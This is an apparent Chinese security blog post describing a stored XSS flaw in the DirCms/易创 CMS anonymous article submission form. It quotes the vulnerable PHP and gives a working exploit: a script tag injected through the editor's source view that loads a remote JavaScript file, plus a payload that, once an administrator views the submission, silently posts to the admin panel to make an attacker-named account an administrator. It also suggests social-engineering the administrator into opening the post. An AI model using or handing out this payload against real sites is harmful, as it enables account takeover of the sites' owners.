作者:心灵
DirCms 内容管理系统 XSS 漏洞和利用方法,易创 CMS XSS 漏洞和利用方法。
无聊得跑去数飞机,数完飞机回家看代码……
XSS 漏洞文件:http://127.0.0.1/post/index.php?catid=49
在线投稿功能,因为这样就不需要注册会员再发稿,免得很多站禁止注册会员。
经典对白看代码。
以下是引用片段:
$info['content']=add_alt($info['content'],$info['title']); //////////////////////自动加 ALT标签
$info['title']=sub_string($info['title'],160,''); //标题
$info['keywords']=sub_string($info['keywords'],100,''); //关键字
$info['content']=stripslashes($info['content']); //这里是内容 没有使用sub_string过滤
$info['status']=in_array($_groupid,$passpriv) || $_groupid==1?1:0; |
再看,sub_string:
function sub_string($string, $length, $dot='')
{
$string=trim($string);
$strlen = strlen($string);
if($strlen <= $length) return $string;
$string = str_replace(array(' ', '&', '"', ''', '“', '”', '—', '<', '>', '·', '…'), array(' ', '&', '"', "'", '“', '”', '—', '<', '>', '·', '…'), $string); //这里做了转义 -0-! 要是标题没转换更好。。。。。。 |
利用方法:
在 FCKEDIT 里点源代码,然后写:<script src="http://127.0.0.1/1.js" </script>。
这里简单,不明白的拿块豆腐自杀好了。
然后等待管理员查看投稿的文章(这个你可以社工他),就会触发 XSS 攻击。
远程 JS 里写,当然,内容限制长度是 500,也可以不用调用远程直接写进去可以了。
以下是引用片段:
var oReq = new ActiveXObject("MSXML2.XMLHTTP");
var str = "do_submit=1&newadmin[username]=t00ls&newadmin[allowmultilogin]=1&newadmin[roleid]=1&newadmin[disabled]=0";
oReq.open("POST","http://127.0.0.1/admin.php?file=admin&action=add",false);
oReq.setRequestHeader("Content-Length",str.length);
oReq.setRequestHeader("CONTENT-TYPE","application/x-www-form-urlencoded");
oReq.send(str); |
newadmin[username]=t00ls,为会员注册账号,既可提升到管理员权限。
继续跑去数飞机……
文章作者
Nuclear'Atk
上次更新
2011-01-28
许可协议
Nuclear'Atk(核攻击)网络安全实验室版权所有,转载请注明出处。